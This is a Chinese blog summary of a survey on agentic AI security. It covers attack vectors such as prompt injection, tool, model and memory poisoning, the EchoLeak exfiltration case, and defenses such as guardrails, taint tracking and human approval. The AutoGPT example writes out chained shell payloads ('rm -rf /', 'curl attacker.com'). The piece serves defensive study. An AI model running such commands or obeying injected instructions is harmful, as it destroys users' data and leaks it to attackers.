智能体架构及威胁分析和防护模型-伯克利论文"

admin 2026-10-24 14:56:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

智能体架构及威胁分析和防护模型-伯克利论文

原创

老孙
老孙

AI与安全

2026年10月22日 16:01
北京

去阅读

一、论文简介

过去两年,AI 智能体(Agent)从\"只会聊天的模型\"进化成了\"能动手干活的系统\"——它可以搜索网页、读写文件、调用 API、甚至执行命令行。但能力越强,风险越大,它自身成了一个内部的风险源。

如何解决这个内部风险,从安全设计的角度,需要一个智能体的抽象架构模型,以及在这个模型基础上的风险分析及防护方法。伯克利等机构的论文《The Attack and Defense Landscape of Agentic AI: A Comprehensive Survey》,首次系统梳理了 AI 智能体(AI Agent)的设计空间、攻击面与防御体系,值得学习和研究。

这篇论文是第一个系统性的综述(SoK),它的三大贡献是:

1. 提出 7 个\"设计维度\"——用一套框架刻画智能体的灵活性与安全性的关系;

2. 建立完整的攻击面分类——按威胁模型划分攻击向量,归纳出 7 类安全风险;

3. 系统化梳理防御方法——按\"纵深防御\"原则组织所有防御手段。

论文团队系统梳理了 2023 年至 2025 年 10 月的 128 篇文献(51 篇攻击、60 篇防御),并对照 MITRE ATLAS 与 OWASP Top 10 for LLM 两大框架。

二、智能体架构的抽象模型

论文把 AI 智能体定义为一种混合软件系统。图 1 给出了它的标准结构,我们可以拆成几个关键组件:

图 1|AI 智能体的标准结构(来源:论文 Figure 1)

  1. LLM——\"大脑\"

作为智能体的“大脑”,LLM 接收并分析用户任务,制定分步计划,并根据计划执行相应操作。这些过程可以由单个或多个 LLM 执行,每个 LLM 都针对特定角色量身定制。

  1. Memory——\"记忆\"

记忆存储智能体的内部知识库和历史行为轨迹。这些信息通常会被向量化以便于高效检索,并能帮助智能体基于已有知识和经验做出未来的决策。

  1. Tool——\"手和脚\"

工具是智能体用来与外部环境交互的功能。如图 1 所示 ,根据智能体的行为,通常存在检索工具和执行工具。检索工具用于从外部环境收集信息(例如,搜索或读取文件),而执行工具用于对环境进行更改(例如,写入文件、发送电子邮件或运行命令)。工具可以通过标准化协议(例如,MCP  )来实现。值得注意的是,这些工具可以由代理设计者或第三方提供商开发。

  1. External Environment——\"外部环境\"

外部环境是指代理程序与之交互以完成任务的外部上下文。不同的代理程序运行在不同的环境中,而环境在很大程度上决定了代理程序的攻击面和防御优先级。Web 代理程序与浏览器交互,并处理来自各种网络来源的任意不受信任的内容,这使得它们特别容易受到间接提示注入和数据泄露的攻击。 编码代理程序在集成开发环境 (IDE) 和本地文件系统中运行,其主要风险涉及未经授权的代码执行和工作区篡改。计算机使用代理程序通过辅助功能 API 或基于屏幕的界面控制应用程序中的图形用户界面 (GUI) 元素,这使得它们容易受到基于 UI 的注入攻击和广泛的系统级访问。代理程序通过工具与其环境交互(例如,访问、读取和写入 SQL 数据库)。

5. 总体结构与周边

人工智能代理接收用户指令,并自动执行一系列操作来帮助用户。代理工作流程通过协调通常承担双重角色的逻辑模型(LLM)组件来组织这一过程。规划器将用户任务分解为逐步计划,而执行器则通过调用工具、生成内容或查询内存来执行各个步骤。在简单的代理中,单个 代理即可胜任这两个角色。在更复杂的系统中,规划和执行分别由不同的 代理 负责,从而实现模块化控制和更细粒度的安全边界。例如,当被要求更新文件时,规划器确定所需的步骤,执行器则依次调用文件读取工具、生成新内容,并调用文件写入工具来执行更新。这种架构自然地扩展到多代理系统(MAS),其中多个专门的代理协同工作以完成复杂的任务。

三、攻击面:6 大攻击向量 + 7 类风险

图 2|6 大攻击向量(V1–V6)与 7 类安全风险(R1–R7)(来源:论文 Figure 2)

图 2 把攻击面和风险画在了智能体的结构图上。攻击向量按威胁模型分三类6种:

6 大攻击向量(V1–V6)

外部攻击者(无法直接接触智能体,只能操纵外部资源):

V1 间接提示注入:在网页、文档里埋恶意指令,智能体抓取内容时\"顺便\"执行了它;

V2 恶意数据注入:注入非提示词的恶意数据(如恶意软件包、篡改的金融参数);

V3 工具投毒:在工具名称、描述或实现里注入恶意负载。

用户级攻击者(能直接向智能体喂恶意内容):

V4 直接提示注入:在正常输入中追加恶意指令。

内部攻击者(能接触智能体内部,最强但最不现实):

V5 模型投毒:给 LLM 植入后门,推理时触发恶意行为;

V6 记忆投毒:直接篡改记忆,注入恶意指令或窃取用户数据。

7 类安全风险(R1–R7)

论文提出了一套全面的智能体安全风险分类体系,该体系根据智能体可能遭受不同攻击途径的组件进行分类。这套分类体系系统地描绘了智能体系统的整体安全风险态势。

R1 异构不可信接口:智能体暴露了大量接口(外部数据、持久记忆、第三方工具),攻击面远大于单一大模型;

R2 错误指令执行:智能体执行了攻击者的恶意指令,而非用户的真实意图;

R3 不受控/不安全的的数据流:LLM 的随机性导致数据在组件间\"自由流动\",不受类型系统、访问控制约束;

R4 幻觉与模型错误:模型幻觉被放大成真实动作(如\"包幻觉攻击\"注册恶意包名被模型误用);

R5 隐私数据泄露:敏感数据通过组件交互被窃取(SSRF、XSS、路径穿越、SQL 注入等);

R6 非预期/未授权动作与数据破坏:智能体越权执行不可逆操作或篡改数据;

R7 资源耗尽与拒绝服务:被诱导频繁调用昂贵 API、死循环,导致系统不可用或成本失控。

这 7 类风险可以归为三层:R1 是攻击面,R2–R4 是模型层风险,R5–R7 是后果层风险(对应 CIA 三性)。

四、设计维度与风险的关系

图 3|设计维度与风险之间的映射与级联关系(来源:论文 Figure 3)

图 3 回答了一个关键问题:\"设计维度\"和\"安全风险\"到底怎么对应? 它揭示了两层关系。

第一层:维度 → 风险

Input Trust、Memory、Tool 三个维度 → 直接放大 R1(攻击面):外部数据越多、记忆越持久、工具越多,注入点和投毒目标就越多;

Workflow 维度 → 主导 R2/R3/R4(模型层风险):流程越动态,越容易被劫持推理、数据越不受控、幻觉越可能触发真实动作;

Access Sensitivity、Action、User Interface → 决定 R5/R6/R7(后果严重程度):能接触的敏感数据越多、动作权限越大、界面越复杂,一旦失守后果就越严重。

第二层:风险之间的级联放大

风险不是孤立的,而是逐级传导的:

R1(攻击面扩大)→ 让恶意输入更容易进入 → 触发 R2/R3/R4(模型层风险)→ 再放大成 R5/R6/R7(数据泄露、破坏、拒绝服务)。

一个真实案例是 EchoLeak:恶意文档被嵌进企业邮件,它先利用 R1(异构不可信接口),再通过检索管道触发 R3(不受控数据流),最终把用户敏感数据外泄到攻击者服务器(R5),全程零交互。

关于灵活性与风险等级,文中给了一个表,可供参考,越灵活,风险越大。

维度 第 1 级:最不灵活 第 2 级:中等灵活 第 3 级:最灵活
输入可信度 无外部数据 预定义外部数据 任意外部数据
访问敏感度 无敏感数据 预定义敏感数据 任意敏感数据
工作流 简单聊天机器人 固定、开发者定义 动态、LLM 定义
动作 仅 LLM 回复 LLM 回复、检索 LLM 回复、检索、执行
记忆 无记忆 短暂的会话记忆 跨会话持久记忆
工具 无工具 已知工具 任意工具
用户界面 纯文本 网页图片预览 可交互网页元素

五、防御方法全景

图 4 把防御机制画回了智能体结构图上,展示\"哪种防御该部署在哪个位置\"。论文按四个大类组织防御,并提出了安全目标。

图 4|AI 智能体的防御全景(来源:论文 Figure 4)

安全目标:CIA + 一个新增项

传统 CIA 三元组(机密性、完整性、可用性)之外,论文特别提出了\"上下文安全(Contextual Security)\"——确保智能体的\"上下文\"始终与用户真实任务对齐,防止攻击者在执行过程中操纵上下文(指令覆盖、上下文漂移、不安全工具选择)。

防御四大类(上图最右侧)

① 运行时防护(Runtime Protection)

输入护栏(Input Guardrail):在输入端过滤恶意指令,是第一道防线;

输出护栏(Output Guardrail):检查智能体的输出动作,是最后一道防线;

信息流控制与污点跟踪(IFC & Taint Tracking):给数据打标签,追踪数据流向,阻断\"不可信数据影响关键决策\";

监控(Monitoring):全局观察输入、输出、中间状态,捕捉\"单看无害、组合起来有害\"的分布式威胁;

人在回路验证(Human-in-the-loop):对高危动作请求人工批准。

② 安全设计(Secure By Design)

权限分离(Privilege Separation):把\"规划工具调用\"与\"处理工具结果\"拆到不同权限的组件里,遵循最小权限;

形式化验证(Formal Verification):用数学方法证明行为符合预期(对智能体仍是前沿方向)。

③ 身份与访问管理(IAM)

身份管理:区分\"人、智能体、任务\"三种身份粒度,支持委托与可审计;

访问控制:RBAC、ABAC、能力式访问,管控智能体对内存、数据库、工具、文件系统的访问;

凭据管理:加密存储、令牌保险库(Token Vault)、短期令牌,避免密钥直接暴露给智能体。

④ 组件加固(Component Hardening)

模型加固:通过指令层级训练,让模型始终遵循系统提示、抵抗冲突指令;

工具加固:对工具做加密签名、版本化元数据、安全审计(如 ETDI、MCP 安全审计)。

三大设计原则

1. 纵深防御(Defense-in-Depth):多层防御互补,但也要警惕\"涌现性失配\"——一层防御可能意外削弱另一层;

2. 最小权限(Least Privilege):只授予完成任务所需的最小权限;

3. 完整中介(Complete Mediation):每次访问敏感资源都必须验证授权。

六、细说安全设计:每一层的技术细节

安全设计需要一些具体的方法:

  1. 输入护栏:三道设计选择

输入护栏有三重设计空间:

检测机制:规则式(严格但僵硬)vs 模型式(泛化好但开销大、易被自适应攻击绕过);

验证目标:内容式(检查语义是否恶意)vs 来源式(验证数据来源可信,是智能体独有的需求);

缓解策略:过滤、净化、结构化归一化,或\"扰动平滑\"中和对抗扰动。

未解难题:输入空间太大,难以建立统一的安全标准,误报/漏报普遍存在。

  1. 信息流控制:用\"污点\"追踪数据

借鉴传统安全的信息流控制,给每个数据贴安全标签,在智能体执行过程中传播标签,检测违反约束的数据流。三种实现:多执行(对比有无输入的推理结果)、变量式(用可追踪变量替代数据)、模型式(让 LLM 检查信息流)。

难点:运行时开销大,且\"标签蠕变\"(过度保守)会让智能体没法用。

  1. 权限分离:把\"大脑\"拆开

纵向分离:高权限组件(可信规划者)与低权限组件(不可信数据处理者)分层,类似操作系统内核态/用户态的分离;

横向分离:多个等权限组件各自隔离,防止跨域利用。

难点:拆得太细会损失功能,如何在\"最小权限\"与\"可用性\"之间平衡仍无解。

  1. 人在回路:别让用户\"闭眼点确认\"

现有编程智能体(GitHub Copilot、Gemini Code Assist、Cursor、Codex)都要求用户批准文件写入或命令行执行。设计上有三个维度:验证范围(哪些动作要审批)、用户提示(解释风险与后果)、复发策略(\"仅此一次/永不/始终\")。

难点:频繁弹窗会让用户\"决策疲劳\",反而盲点确认。

七、真实世界的印证:一个例子

论文在第 6 部分分析了多个真实智能体的防御覆盖(编程智能体 Codex、Gemini CLI、OpenHands,网页智能体 Browser-use、Nanobrowser、Skyvern)。这里从略,只说结论:真实系统的防御普遍是\"部分支持\",且大多只做下游拦截,很少治理上游根因。

要\"证明\"这套框架管用,一个例子足矣——AutoGPT 的 OS 命令注入漏洞(CVE-2024-1881)。

AutoGPT 是拥有 18 万+ GitHub Star 的知名开源智能体,具备执行任意 shell 命令的能力。它用一条命令白名单来校验:只检查命令的第一个 token。

这看似有防护,实则一击即破:

1. 攻击路径:攻击者在外部内容里埋指令,诱导 LLM 生成带链接符的命令,例如 ls && rm -rf / 或 cat file; curl attacker.com;

2. 风险映射:这利用了 R2(错误指令执行);即便没有攻击者,LLM 也可能自发生成链式命令(R4 幻觉),最终造成任意命令执行、数据外泄、文件系统破坏(R5、R6);

3. 防御为何失效:白名单只挡住\"第一个词\",拦不住\"运算符链接\"和\"多命令\"。也就是说,它只缓解了下游后果(R6),却完全没有治理上游根因(R2 的间接注入、R4 的幻觉)。

按论文框架,正确的补法是层层设防:

输出护栏:解析 shell 语法,拦截链式负载,无论它来自攻击者还是 LLM 自身;

人在回路:对高危命令展示风险,让用户判断;

权限分离:按风险级别给 shell 最小权限隔离;

监控:记录命令来源,追踪异常;

形式化验证:把操作限制在预批准的命令模板内。

这个例子完美印证了论文的核心判断:智能体安全不能靠\"单点修补\",而要靠\"纵深防御 + 治理根因\"的系统化方法——这也正是这篇文章希望为整个行业建立的基础框架。

八、结语

抽象架构模型,风险,攻击维度,防御方法,这些是安全设计的基础。安全设计的核心,是识别风险并给出合理的消减方案。本论文对于架构抽象,风险分析,攻击方法,防御方案都做了非常好的总结,很多内容可以直接实用,值得细读。

参考论文:Juhee Kim, Xiaoyuan Liu, Zhun Wang, Shi Qiu, Bo Li, Wenbo Guo, Dawn Song. The Attack and Defense Landscape of Agentic AI: A Comprehensive Survey. arXiv:2603.11088v1, 2026.

2609.23894v1.pdf

应对\"47天时代\":SSL证书自动化管理的落地思路" 网络安全文章

应对\"47天时代\":SSL证书自动化管理的落地思路"

本文针对SSL证书有效期缩短至47天的趋势,提出自动化管理解决方案。文章指出手工管理面临工作量激增、资产可见性差和密钥传递风险等问题,重点介绍天威诚信CIM证书智能管理系统的自动化更新、风险预警、密钥存储和定制集成四大能力,并建议分资产盘点、接入自动化、常态化运营三阶段推进落地。
【漏洞风险通告】PHP远程代码执行漏洞" 网络安全文章

【漏洞风险通告】PHP远程代码执行漏洞"

迪普科技发布PHP远程代码执行漏洞通告,涉及CVE-2026-109618和CVE-2026-109619,CVSS评分9.2,影响PHP8.2至8.5多个版本。攻击者可未认证远程执行代码,导致服务器被控制。官方已发布修复版本,建议用户及时升级并重启服务,同时可利用迪普科技安全产品进行防护。
评论:0   参与:  0